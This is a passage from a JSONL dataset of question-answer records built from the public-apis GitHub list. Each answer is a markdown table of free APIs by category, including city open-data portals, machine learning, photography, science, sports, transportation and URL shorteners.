Berlin](https://daten.berlin.de/) | Berlin(DE) City Open Data | No | Yes | Unknown |\n| [City, Gdańsk](https://ckan.multimediagdansk.pl/en) | Gdańsk (PL) City Open Data | No | Yes | Unknown |\n| [City, Gdynia](http://otwartedane.gdynia.pl/en/api_doc.html) | Gdynia (PL) City Open Data | No | No | Unknown |\n| [City, Helsinki](https://hri.fi/en_gb/) | Helsinki(FI) City Open Data | No | Yes | Unknown |\n| [City, Lviv](https://opendata.city-adm.lviv.ua/) | Lviv(UA) City Open Data | No | Yes | Unknown |\n| [City, Nantes Open Data](https://data.nantesmetropole.fr/pages/home/) | Nantes(FR) City Open Data | `apiKey` | Yes | Unknown |\n| [City, New York Open Data](https://opendata.cityofnewyork.us/) | New York (US) City Open Data | No | Yes | Unknown |\n| [City, Prague Open Data](http://opendata.praha.eu/en) | Prague(CZ) City Open Data | No | No | Unknown |\n| [City, Toronto Open Data](https://open.toronto.ca/) | Toronto (CA) City Open Data | No | Yes | Yes |\n| [Code.gov](https://code.gov) | The primary platform for Open Source and code sharing for the U.S. Federal Government | `apiKey` | Yes | Unknown |\n| [Colorado Information Marketplace](https://data.colorado.gov/) | Colorado State Government Open Data | No | Yes | Unknown |\n| [Data USA](https://datausa.io/about/api/) | US Public Data | No | Yes | Unknown |\n| [Data.gov](https://api.data.gov/) | US Government Data | `apiKey` | Yes | Unknown |\n| [Data.parliament.uk](https://explore.data.parliament.uk/?learnmore=Members) | Contains live datasets including information about petitions, bills, MP votes, attendance and more | No | No | Unknown |\n| [Deutscher Bundestag DIP](https://dip.bundestag.de/documents/informationsblatt_zur_dip_api_v01.pdf) | This API provides read access to DIP entities (e.g. activities, persons, printed material) | `apiKey` | Yes | Unknown |\n| [District of Columbia Open Data](http://opendata.dc.gov/pages/using-apis) | Contains D.C. government public datasets, including crime, GIS, financial data, and so on | No | Yes | Unknown |\n| [EPA](https://www.epa.gov/developers/data-data-products#apis) | Web services and data sets from the US Environmental Protection Agency | No | Yes | Unknown |\n| [FBI Wanted](https://www.fbi.gov/wanted/api) | Access information on the FBI Wanted program | No | Yes | Unknown |\n| [FEC](https://api.open.fec.gov/developers/) | Information on campaign donations in federal elections | `apiKey` | Yes | Unknown |\n| [Federal Register](https://www.federalregister.gov/reader-aids/developer-resources/rest-api) | The Daily Journal of the United States Government | No | Yes | Unknown |\n| [Food Standards Agency](http://ratings.food.gov.uk/open-data/en-GB) | UK food hygiene rating data API | No | No | Unknown |\n| [Gazette Data, UK](https://www.thegazette.co.uk/data) | UK official public record API | `OAuth` | Yes | Unknown |\n| [Gun Policy](https://www.gunpolicy.org/api) | International firearm injury prevention and policy | `apiKey` | Yes | Unknown |\n| [INEI](http://iinei.inei.gob.pe/microdatos/) | Peruvian Statistical Government Open Data | No | No | Unknown |\n| [Interpol Red Notices](https://interpol.api.bund.dev/) | Access and search Interpol Red Notices | No | Yes | Unknown |\n| [Istanbul (İBB) Open Data](https://data.ibb.gov.tr) | Data sets from the İstanbul Metropolitan Municipality (İBB) | No | Yes | Unknown |\n| [National Park Service, US](https://www.nps.gov/subjects/developer/) | Data from the US National Park Service | `apiKey` | Yes | Yes |\n| [Open Government, ACT](https://www.data.act.gov.au/) | Australian Capital Territory Open Data | No | Yes | Unknown |\n| [Open Government, Argentina](https://datos.gob.ar/) | Argentina Government Open Data | No | Yes | Unknown |\n| [Open Government, Australia](https://www.data.gov.au/) | Australian Government Open Data | No | Yes | Unknown |\n| [Open Government, Austria](https://www.data.gv.at/) | Austria Government Open Data |", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998577"}
{"id": "gh_95affb970a4a", "question": "How to: Machine Learning", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [AI For Thai](https://aiforthai.in.th/index.php) | Free Various Thai AI API | `apiKey` | Yes | Yes |\n| [Clarifai](https://docs.clarifai.com/api-guide/api-overview) | Computer Vision | `OAuth` | Yes | Unknown |\n| [Cloudmersive](https://www.cloudmersive.com/image-recognition-and-processing-api) | Image captioning, face recognition, NSFW classification | `apiKey` | Yes | Yes |\n| [Deepcode](https://www.deepcode.ai) | AI for code review | No | Yes | Unknown |\n| [Dialogflow](https://cloud.google.com/dialogflow/docs/) | Natural Language Processing | `apiKey` | Yes | Unknown |\n| [EXUDE-API](http://uttesh.com/exude-api/) | Used for the primary ways for filtering the stopping, stemming words from the text data | No | Yes | Yes |\n| [Hirak FaceAPI](https://faceapi.hirak.site/) | Face detection, face recognition with age estimation/gender estimation, accurate, no quota limits | `apiKey` | Yes | Unknown |    \n| [Imagga](https://imagga.com/) | Image Recognition Solutions like Tagging, Visual Search, NSFW moderation | `apiKey` | Yes | Unknown |\n| [Inferdo](https://rapidapi.com/user/inferdo) | Computer Vision services like Facial detection, Image labeling, NSFW classification | `apiKey` | Yes | Unknown |\n| [IPS Online](https://docs.identity.ps/docs) | Face and License Plate Anonymization | `apiKey` | Yes | Unknown |\n| [Irisnet](https://irisnet.de/api/) | Realtime content moderation API that blocks or blurs unwanted images in real-time | `apiKey` | Yes | Yes |\n| [Keen IO](https://keen.io/) | Data Analytics | `apiKey` | Yes | Unknown |\n| [Machinetutors](https://www.machinetutors.com/portfolio/MT_api.html) | AI Solutions: Video/Image Classification & Tagging, NSFW, Icon/Image/Audio Search, NLP | `apiKey` | Yes | Yes |\n| [MessengerX.io](https://messengerx.rtfd.io) | A FREE API for developers to build and monetize personalized ML based chat apps | `apiKey` | Yes | Yes |\n| [NLP Cloud](https://nlpcloud.io) | NLP API using spaCy and transformers for NER, sentiments, classification, summarization, and more | `apiKey` | Yes | Unknown |\n| [OpenVisionAPI](https://openvisionapi.com) | Open source computer vision API based on open source models | No | Yes | Yes |\n| [Perspective](https://perspectiveapi.com) | NLP API to return probability that if text is toxic, obscene, insulting or threatening | `apiKey` | Yes | Unknown |\n| [Roboflow Universe](https://universe.roboflow.com) | Pre-trained computer vision models | `apiKey` | Yes | Yes |\n| [SkyBiometry](https://skybiometry.com/documentation/) | Face Detection, Face Recognition and Face Grouping | `apiKey` | Yes | Unknown |\n| [Time Door](https://timedoor.io) | A time series analysis API | `apiKey` | Yes | Yes |\n| [Unplugg](https://unplu.gg/test_api.html) | Forecasting API for timeseries data | `apiKey` | Yes | Unknown |\n| [WolframAlpha](https://products.wolframalpha.com/api/) | Provides specific answers to questions using data and algorithms | `apiKey` | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 391360, "answer_score": 10, "has_code": true, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998596"}
{"id": "gh_b1cb9b568cc1", "question": "How to: Open Source Projects", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [Countly](https://api.count.ly/reference) | Countly web analytics | No | No | Unknown |\n| [Creative Commons Catalog](https://api.creativecommons.engineering/) | Search among openly licensed and public domain works | `OAuth` | Yes | Yes |\n| [Datamuse](https://www.datamuse.com/api/) | Word-finding query engine | No | Yes | Unknown |\n| [Drupal.org](https://www.drupal.org/drupalorg/docs/api) | Drupal.org | No | Yes | Unknown |\n| [Evil Insult Generator](https://evilinsult.com/api) | Evil Insults | No | Yes | Yes |\n| [GitHub Contribution Chart Generator](https://github-contributions.vercel.app) | Create an image of your GitHub contributions | No | Yes | Yes |\n| [GitHub ReadMe Stats](https://github.com/anuraghazra/github-readme-stats) | Add dynamically generated statistics to your GitHub profile ReadMe | No | Yes | Yes |\n| [Metabase](https://www.metabase.com/) | An open source Business Intelligence server to share data and analytics inside your company | No | Yes | Yes |\n| [Shields](https://shields.io/) | Concise, consistent, and legible badges in SVG and raster format | No | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998619"}
{"id": "gh_5f42012a31b0", "question": "How to: Photography", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [apilayer screenshotlayer](https://screenshotlayer.com) | URL 2 Image | No | Yes | Unknown |\n| [APITemplate.io](https://apitemplate.io) | Dynamically generate images and PDFs from templates with a simple API | `apiKey` | Yes | Yes |    \n| [Bruzu](https://docs.bruzu.com) | Image generation with query string | `apiKey` | Yes | Yes |\n| [CheetahO](https://cheetaho.com/docs/getting-started/) | Photo optimization and resize | `apiKey` | Yes | Unknown |\n| [Dagpi](https://dagpi.xyz) | Image manipulation and processing | `apiKey` | Yes | Unknown |\n| [Duply](https://duply.co/docs#getting-started-api) | Generate, Edit, Scale and Manage Images and Videos Smarter & Faster | `apiKey` | Yes | Yes |\n| [DynaPictures](https://dynapictures.com/docs/) | Generate Hundreds of Personalized Images in Minutes | `apiKey` | Yes | Yes |\n| [Flickr](https://www.flickr.com/services/api/) | Flickr Services | `OAuth` | Yes | Unknown |\n| [Getty Images](http://developers.gettyimages.com/en/) | Build applications using the world's most powerful imagery | `OAuth` | Yes | Unknown |\n| [Gfycat](https://developers.gfycat.com/api/) | Jiffier GIFs | `OAuth` | Yes | Unknown |\n| [Giphy](https://developers.giphy.com/docs/) | Get all your gifs | `apiKey` | Yes | Unknown |\n| [Google Photos](https://developers.google.com/photos) | Integrate Google Photos with your apps or devices | `OAuth` | Yes | Unknown |\n| [Image Upload](https://apilayer.com/marketplace/image_upload-api) | Image Optimization | `apiKey` | Yes | Unknown |\n| [Imgur](https://apidocs.imgur.com/) | Images | `OAuth` | Yes | Unknown |\n| [Imsea](https://imsea.herokuapp.com/) | Free image search | No | Yes | Unknown |\n| [Lorem Picsum](https://picsum.photos/) | Images from Unsplash | No | Yes | Unknown |\n| [ObjectCut](https://objectcut.com/) | Image Background removal | `apiKey` | Yes | Yes |\n| [Pexels](https://www.pexels.com/api/) | Free Stock Photos and Videos | `apiKey` | Yes | Yes |\n| [PhotoRoom](https://www.photoroom.com/api/) | Remove background from images | `apiKey` | Yes | Unknown |\n| [Pixabay](https://pixabay.com/sk/service/about/api/) | Photography | `apiKey` | Yes | Unknown |\n| [PlaceKeanu](https://placekeanu.com/) | Resizable Keanu Reeves placeholder images with grayscale and young Keanu options | No | Yes | Unknown |\n| [Readme typing SVG](https://github.com/DenverCoder1/readme-typing-svg) | Customizable typing and deleting text SVG | No | Yes | Unknown |\n| [Remove.bg](https://www.remove.bg/api) | Image Background removal | `apiKey` | Yes | Unknown |\n| [ReSmush.it](https://resmush.it/api) | Photo optimization | No | No | Unknown |\n| [shutterstock](https://api-reference.shutterstock.com/) | Stock Photos and Videos | `OAuth` | Yes | Unknown |\n| [Sirv](https://apidocs.sirv.com/) | Image management solutions like optimization, manipulation, hosting | `apiKey` | Yes | Unknown |\n| [Unsplash](https://unsplash.com/developers) | Photography | `OAuth` | Yes | Unknown |\n| [Wallhaven](https://wallhaven.cc/help/api) | Wallpapers | `apiKey` | Yes | Unknown |\n| [Webdam](https://www.damsuccess.com/hc/en-us/articles/202134055-REST-API) | Images | `OAuth` | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 391360, "answer_score": 10, "has_code": true, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998644"}
{"id": "gh_742717db1b2b", "question": "How to: Programming", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [Codeforces](https://codeforces.com/apiHelp) | Get access to Codeforces data | `apiKey` | Yes | Unknown |\n| [Hackerearth](https://www.hackerearth.com/docs/wiki/developers/v4/) | For compiling and running code in several languages | `apiKey` | Yes | Unknown |\n| [Judge0 CE](https://ce.judge0.com/) | Online code execution system | `apiKey` | Yes | Unknown |\n| [KONTESTS](https://kontests.net/api) | For upcoming and ongoing competitive coding contests | No | Yes | Unknown |\n| [Mintlify](https://docs.mintlify.com) | For programmatically generating documentation for code | `apiKey` | Yes | Yes |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998650"}
{"id": "gh_fec3374a22eb", "question": "How to: Science & Math", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [arcsecond.io](https://api.arcsecond.io/) | Multiple astronomy data sources | No | Yes | Unknown |\n| [arXiv](https://arxiv.org/help/api/user-manual) | Curated research-sharing platform: physics, mathematics, quantitative finance, and economics | No | Yes | Unknown |\n| [CORE](https://core.ac.uk/services#api) | Access the world's Open Access research papers | `apiKey` | Yes | Unknown |\n| [GBIF](https://www.gbif.org/developer/summary) | Global Biodiversity Information Facility | No | Yes | Yes |\n| [iDigBio](https://github.com/idigbio/idigbio-search-api/wiki) | Access millions of museum specimens from organizations around the world | No | Yes | Unknown |\n| [inspirehep.net](https://github.com/inspirehep/rest-api-doc) | High Energy Physics info. system | No | Yes | Unknown |\n| [isEven (humor)](https://isevenapi.xyz/) | Check if a number is even | No | Yes | Unknown |\n| [ISRO](https://isro.vercel.app) | ISRO Space Crafts Information | No | Yes | No |\n| [ITIS](https://www.itis.gov/ws_description.html) | Integrated Taxonomic Information System | No | Yes | Unknown |\n| [Launch Library 2](https://thespacedevs.com/llapi) | Spaceflight launches and events database | No | Yes | Yes |\n| [Materials Platform for Data Science](https://mpds.io) | Curated experimental data for materials science | `apiKey` | Yes | No |\n| [Minor Planet Center](http://www.asterank.com/mpc) | Asterank.com Information | No | No | Unknown |\n| [NASA](https://api.nasa.gov) | NASA data, including imagery | No | Yes | No |\n| [NASA ADS](https://ui.adsabs.harvard.edu/help/api/api-docs.html) | NASA Astrophysics Data System | `OAuth` | Yes | Yes |\n| [Newton](https://newton.vercel.app) | Symbolic and Arithmetic Math Calculator | No | Yes | No |\n| [Noctua](https://api.noctuasky.com/api/v1/swaggerdoc/) | REST API used to access NoctuaSky features | No | Yes | Unknown |\n| [Numbers](https://math.tools/api/numbers/) | Number of the day, random number, number facts and anything else you want to do with numbers | `apiKey` | Yes | No |\n| [Numbers](http://numbersapi.com) | Facts about numbers | No | No | No |\n| [Ocean Facts](https://oceanfacts.herokuapp.com/) | Facts pertaining to the physical science of Oceanography | No | Yes | Unknown |\n| [Open Notify](http://open-notify.org/Open-Notify-API/) | ISS astronauts, current location, etc | No | No | No |\n| [Open Science Framework](https://developer.osf.io) | Repository and archive for study designs, research materials, data, manuscripts, etc | No | Yes | Unknown |\n| [Purple Air](https://www2.purpleair.com/) | Real Time Air Quality Monitoring | No | Yes | Unknown |\n| [Remote Calc](https://github.com/elizabethadegbaju/remotecalc) | Decodes base64 encoding and parses it to return a solution to the calculation in JSON | No | Yes | Yes |\n| [SHARE](https://share.osf.io/api/v2/) | A free, open, dataset about research and scholarly activities | No | Yes | No |\n| [SpaceX](https://github.com/r-spacex/SpaceX-API) | Company, vehicle, launchpad and launch data | No | Yes | No |\n| [SpaceX](https://api.spacex.land/graphql/) | GraphQL, Company, Ships, launchpad and launch data | No | Yes | Unknown |\n| [Sunrise and Sunset](https://sunrise-sunset.org/api) | Sunset and sunrise times for a given latitude and longitude | No | Yes | No |\n| [Times Adder](https://github.com/FranP-code/API-Times-Adder) | With this API you can add each of the times introduced in the array sended | No | Yes | No |\n| [TLE](https://tle.ivanstanojevic.me/#/docs) | Satellite information | No | Yes | No |\n| [USGS Earthquake Hazards Program](https://earthquake.usgs.gov/fdsnws/event/1/) | Earthquakes data real-time | No | Yes | No |\n| [USGS Water Services](https://waterservices.usgs.gov/) | Water quality and level info for rivers and lakes | No | Yes | No |\n| [World Bank](https://datahelpdesk.worldbank.org/knowledgebase/topics/125589) | World Data | No | Yes | No |\n| [xMath](https://x-math.herokuapp.com/) | Random mathematical expressions | No | Yes | Yes |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998664"}
{"id": "gh_5fa39e764cfe", "question": "How to: Sports & Fitness", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [API-FOOTBALL](https://www.api-football.com/documentation-v3) | Get information about Football Leagues & Cups | `apiKey` | Yes | Yes |\n| [ApiMedic](https://apimedic.com/) | ApiMedic offers a medical symptom checker API primarily for patients | `apiKey` | Yes | Unknown |\n| [balldontlie](https://www.balldontlie.io) | Balldontlie provides access to stats data from the NBA | No | Yes | Yes |\n| [Canadian Football League (CFL)](http://api.cfl.ca/) | Official JSON API providing real-time league, team and player statistics about the CFL | `apiKey` | Yes | No |\n| [City Bikes](https://api.citybik.es/v2/) | City Bikes around the world | No | Yes | Unknown |\n| [Cloudbet](https://www.cloudbet.com/api/) | Official Cloudbet API provides real-time sports odds and betting API to place bets programmatically | `apiKey` | Yes | Yes |\n| [CollegeFootballData.com](https://collegefootballdata.com) | Unofficial detailed American college football statistics, records, and results API | `apiKey` | Yes | Unknown |\n| [Ergast F1](http://ergast.com/mrd/) | F1 data from the beginning of the world championships in 1950 | No | Yes | Unknown |\n| [Fitbit](https://dev.fitbit.com/) | Fitbit Information | `OAuth` | Yes | Unknown |\n| [Football](https://rapidapi.com/GiulianoCrescimbeni/api/football98/) | A simple Open Source Football API to get squads’ stats, best scorers and more | `X-Mashape-Key` | Yes | Unknown |\n| [Football (Soccer) Videos](https://www.scorebat.com/video-api/) | Embed codes for goals and highlights from Premier League, Bundesliga, Serie A and many more | No | Yes | Yes |\n| [Football Standings](https://github.com/azharimm/football-standings-api) | Display football standings e.g epl, la liga, serie a etc. The data is based on espn site | No | Yes | Yes |\n| [Football-Data](https://www.football-data.org) | Football data with matches info, players, teams, and competitions | `X-Mashape-Key` | Yes | Unknown |\n| [JCDecaux Bike](https://developer.jcdecaux.com/) | JCDecaux's self-service bicycles | `apiKey` | Yes | Unknown |\n| [MLB Records and Stats](https://appac.github.io/mlb-data-api-docs/) | Current and historical MLB statistics | No | No | Unknown |\n| [NBA Data](https://rapidapi.com/api-sports/api/api-nba/) | All NBA Stats DATA, Games, Livescore, Standings, Statistics | `apiKey` | Yes | Unknown |\n| [NBA Stats](https://any-api.com/nba_com/nba_com/docs/API_Description) | Current and historical NBA Statistics | No | Yes | Unknown |\n| [NHL Records and Stats](https://gitlab.com/dword4/nhlapi) | NHL historical data and statistics | No | Yes | Unknown |\n| [Oddsmagnet](https://data.oddsmagnet.com) | Odds history from multiple UK bookmakers | No | Yes | Yes |\n| [OpenLigaDB](https://www.openligadb.de) | Crowd sourced sports league results | No | Yes | Yes |\n| [Premier League Standings ](https://rapidapi.com/heisenbug/api/premier-league-live-scores/) | All Current Premier League Standings and Statistics | `apiKey` | Yes | Unknown |\n| [Sport Data](https://sportdataapi.com) | Get sports data from all over the world | `apiKey` | Yes | Unknown |\n| [Sport List & Data](https://developers.decathlon.com/products/sports) | List of and resources related to sports | No | Yes | Yes |\n| [Sport Places](https://developers.decathlon.com/products/sport-places) | Crowd-source sports places around the world | No | Yes | No |\n| [Sport Vision](https://developers.decathlon.com/products/sport-vision) | Identify sport, brands and gear in an image. Also does image sports captioning | `apiKey` | Yes | Yes |\n| [Sportmonks Cricket](https://docs.sportmonks.com/cricket/) | Live cricket score, player statistics and fantasy API | `apiKey` | Yes | Unknown |\n| [Sportmonks Football](https://docs.sportmonks.com/football/) | Football score/schedule, news api, tv channels, stats, history, display standing e.g. epl, la liga | `apiKey` | Yes | Unknown |\n| [Squiggle](https://api.squiggle.com.au) | Fixtures, results and predictions for Australian Football League matches | No | Yes | Yes |\n| [Strava](https://strava.github.io/api/) | Connect with athletes, activities and more | `OAuth` | Yes | Unknown |\n| [SuredBits](https://suredbits.com/api/) | Query sports data, including teams, players, games, scores and statistics | No | No | No |\n| [TheSportsDB](https://www.thesportsdb.com/api.php) | Crowd-Sourced Sports Data and Artwork | `apiKey` | Yes | Yes |\n| [Tredict](https://www.tredict.com/blog/oauth_docs/) | Get and set activities, health data and more | `OAuth` | Yes | Unknown |\n| [Wger](https://wger.de/en/software/api) | Workout manager data as exercises, muscles or equipment | `apiKey` | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998694"}
{"id": "gh_5e03e2064907", "question": "How to: Text Analysis", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [Code Detection API](https://codedetectionapi.runtime.dev) | Detect, label, format and enrich the code in your app or in your data pipeline | `OAuth` | Yes | Unknown |\n| [apilayer languagelayer](https://languagelayer.com/) | Language Detection JSON API supporting 173 languages | `OAuth` | Yes | Unknown |\n| [Aylien Text Analysis](https://docs.aylien.com/textapi/#getting-started) | A collection of information retrieval and natural language APIs | `apiKey` | Yes | Unknown |\n| [Cloudmersive Natural Language Processing](https://www.cloudmersive.com/nlp-api) | Natural language processing and text analysis | `apiKey` | Yes | Yes |\n| [Detect Language](https://detectlanguage.com/) | Detects text language | `apiKey` | Yes | Unknown |\n| [ELI](https://nlp.insightera.co.th/docs/v1.0) | Natural Language Processing Tools for Thai Language | `apiKey` | Yes | Unknown |\n| [Google Cloud Natural](https://cloud.google.com/natural-language/docs/) | Natural language understanding technology, including sentiment, entity and syntax analysis | `apiKey` | Yes | Unknown |\n| [Hirak OCR](https://ocr.hirak.site/) | Image to text -text recognition- from image more than 100 language, accurate, unlimited requests | `apiKey` | Yes | Unknown |\n| [Hirak Translation](https://translate.hirak.site/) | Translate between 21 of most used languages, accurate, unlimited requests | `apiKey` | Yes | Unknown |\n| [Lecto Translation](https://rapidapi.com/lecto-lecto-default/api/lecto-translation/) | Translation API with free tier and reasonable prices | `apiKey` | Yes | Yes |\n| [LibreTranslate](https://libretranslate.com/docs) | Translation tool with 17 available languages | No | Yes | Unknown |\n| [Semantria](https://semantria.readme.io/docs) | Text Analytics with sentiment analysis, categorization & named entity extraction | `OAuth` | Yes | Unknown |\n| [Sentiment Analysis](https://www.meaningcloud.com/developer/sentiment-analysis) | Multilingual sentiment analysis of texts from different sources | `apiKey` | Yes | Yes |\n| [Tisane](https://tisane.ai/) | Text Analytics with focus on detection of abusive content and law enforcement applications | `OAuth` | Yes | Yes |\n| [Watson Natural Language Understanding](https://cloud.ibm.com/apidocs/natural-language-understanding/natural-language-understanding) | Natural language processing for advanced text analysis | `OAuth` | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998708"}
{"id": "gh_9679e3293fb0", "question": "How to: Transportation", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [ADS-B Exchange](https://www.adsbexchange.com/data/) | Access real-time and historical data of any and all airborne aircraft | No | Yes | Unknown |\n| [airportsapi](https://airport-web.appspot.com/api/docs/) | Get name and website-URL for airports by ICAO code | No | Yes | Unknown |\n| [AIS Hub](http://www.aishub.net/api) | Real-time data of any marine and inland vessel equipped with AIS tracking system | `apiKey` | No | Unknown |\n| [Amadeus for Developers](https://developers.amadeus.com/self-service) | Travel Search - Limited usage | `OAuth` | Yes | Unknown |\n| [apilayer aviationstack](https://aviationstack.com/) | Real-time Flight Status & Global Aviation Data API | `OAuth` | Yes | Unknown |\n| [AviationAPI](https://docs.aviationapi.com) | FAA Aeronautical Charts and Publications, Airport Information, and Airport Weather | No | Yes | No |\n| [AZ511](https://www.az511.com/developers/doc) | Access traffic data from the ADOT API | `apiKey` | Yes | Unknown |\n| [Bay Area Rapid Transit](http://api.bart.gov) | Stations and predicted arrivals for BART | `apiKey` | No | Unknown |\n| [BC Ferries](https://www.bcferriesapi.ca) | Sailing times and capacities for BC Ferries | No | Yes | Yes |\n| [BIC-Boxtech](https://docs.bic-boxtech.org/) | Container technical detail for the global container fleet | `OAuth` | Yes | Unknown |\n| [BlaBlaCar](https://dev.blablacar.com) | Search car sharing trips | `apiKey` | Yes | Unknown |\n| [Boston MBTA Transit](https://www.mbta.com/developers/v3-api) | Stations and predicted arrivals for MBTA | `apiKey` | Yes | Unknown |\n| [Community Transit](https://github.com/transitland/transitland-datastore/blob/master/README.md#api-endpoints) | Transitland API | No | Yes | Unknown |\n| [Compare Flight Prices](https://rapidapi.com/obryan-software-obryan-software-default/api/compare-flight-prices/) | API for comparing flight prices across platforms | `apiKey` | Yes | Unknown |\n| [CTS](https://api.cts-strasbourg.eu/) | CTS Realtime API | `apiKey` | Yes | Yes |\n| [Grab](https://developer.grab.com/docs/) | Track deliveries, ride fares, payments and loyalty points | `OAuth` | Yes | Unknown |\n| [GraphHopper](https://docs.graphhopper.com/) | A-to-B routing with turn-by-turn instructions | `apiKey` | Yes | Unknown |\n| [Icelandic APIs](http://docs.apis.is/) | Open APIs that deliver services in or regarding Iceland | No | Yes | Unknown |\n| [Impala Hotel Bookings](https://docs.impala.travel/docs/booking-api/) | Hotel content, rates and room bookings | `apiKey` | Yes | No |\n| [Izi](http://api-docs.izi.travel/) | Audio guide for travellers | `apiKey` | Yes | Unknown |\n| [Land Transport Authority DataMall, Singapore](https://datamall.lta.gov.sg/content/dam/datamall/datasets/LTA_DataMall_API_User_Guide.pdf) | Singapore transport information | `apiKey` | No | Unknown |\n| [Metro Lisboa](http://app.metrolisboa.pt/status/getLinhas.php) | Delays in subway lines | No | No | No |\n| [Navitia](https://doc.navitia.io/) | The open API for building cool stuff with transport data | `apiKey` | Yes | Unknown |\n| [Open Charge Map](https://openchargemap.org/site/develop/api) | Global public registry of electric vehicle charging locations | `apiKey` | Yes | Yes |\n| [OpenSky Network](https://opensky-network.org/apidoc/index.html) | Free real-time ADS-B aviation data | No | Yes | Unknown |\n| [Railway Transport for France](https://www.digital.sncf.com/startup/api) | SNCF public API | `apiKey` | Yes | Unknown |\n| [REFUGE Restrooms](https://www.refugerestrooms.org/api/docs/#!/restrooms) | Provides safe restroom access for transgender, intersex and gender nonconforming individuals | No | Yes | Unknown |\n| [Sabre for Developers](https://developer.sabre.com/guides/travel-agency/quickstart/getting-started-in-travel) | Travel Search - Limited usage | `apiKey` | Yes | Unknown |\n| [Schiphol Airport](https://developer.schiphol.nl/) | Schiphol | `apiKey` | Yes | Unknown |\n| [Tankerkoenig](https://creativecommons.tankerkoenig.de/swagger/) | German realtime gas/diesel prices | `apiKey` | Yes | Yes |\n| [TransitLand](https://www.transit.land/documentation/datastore/api-endpoints.html) | Transit Aggregation | No | Yes | Unknown |\n| [Transport for Atlanta, US](http://www.itsmarta.com/app-developer-resources.aspx) | Marta | No | No | Unknown |\n| [Transport for Auckland, New Zealand](https://dev-portal.at.govt.nz/) | Auckland Transport | No | Yes | Unknown |\n| [Transport for Belgium](https://docs.irail.be/) | The iRail API is a third-party API for Belgian public transport by train | No | Yes | Yes |\n| [Transport for Berlin, Germany](https://github.com/derhuerst/vbb-rest/blob/3/docs/index.md) | Third-party VBB API | No | Yes | Unknown |\n| [Transport for Bordeaux, France](https://opendata.bordeaux-metropole.fr/explore/) | Bordeaux Métropole public transport and more (France) | `apiKey` | Yes | Unknown |\n| [Transport for Budapest, Hungary](https://bkkfutar.docs.apiary.io) | Budapest public tr", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998736"}
{"id": "gh_4202ea306582", "question": "How to: URL Shorteners", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [1pt](https://github.com/1pt-co/api/blob/main/README.md) | A simple URL shortener | No | Yes | Yes |\n| [Bitly](http://dev.bitly.com/get_started.html) | URL shortener and link management | `OAuth` | Yes | Unknown |\n| [CleanURI](https://cleanuri.com/docs) | URL shortener service | No | Yes | Yes |\n| [ClickMeter](https://support.clickmeter.com/hc/en-us/categories/201474986) | Monitor, compare and optimize your marketing links | `apiKey` | Yes | Unknown |\n| [Clico](https://cli.com/swagger-ui/index.html?configUrl=/v3/api-docs/swagger-config) | URL shortener service | `apiKey` | Yes | Unknown |\n| [Cutt.ly](https://cutt.ly/api-documentation/cuttly-links-api) | URL shortener service | `apiKey` | Yes | Unknown |\n| [Drivet URL Shortener](https://wiki.drivet.xyz/en/url-shortener/add-links) | Shorten a long URL easily and fast | No | Yes | Unknown |\n| [Free Url Shortener](https://ulvis.net/developer.html) | Free URL Shortener offers a powerful API to interact with other sites | No | Yes | Unknown |\n| [Git.io](https://github.blog/2011-11-10-git-io-github-url-shortener/) | 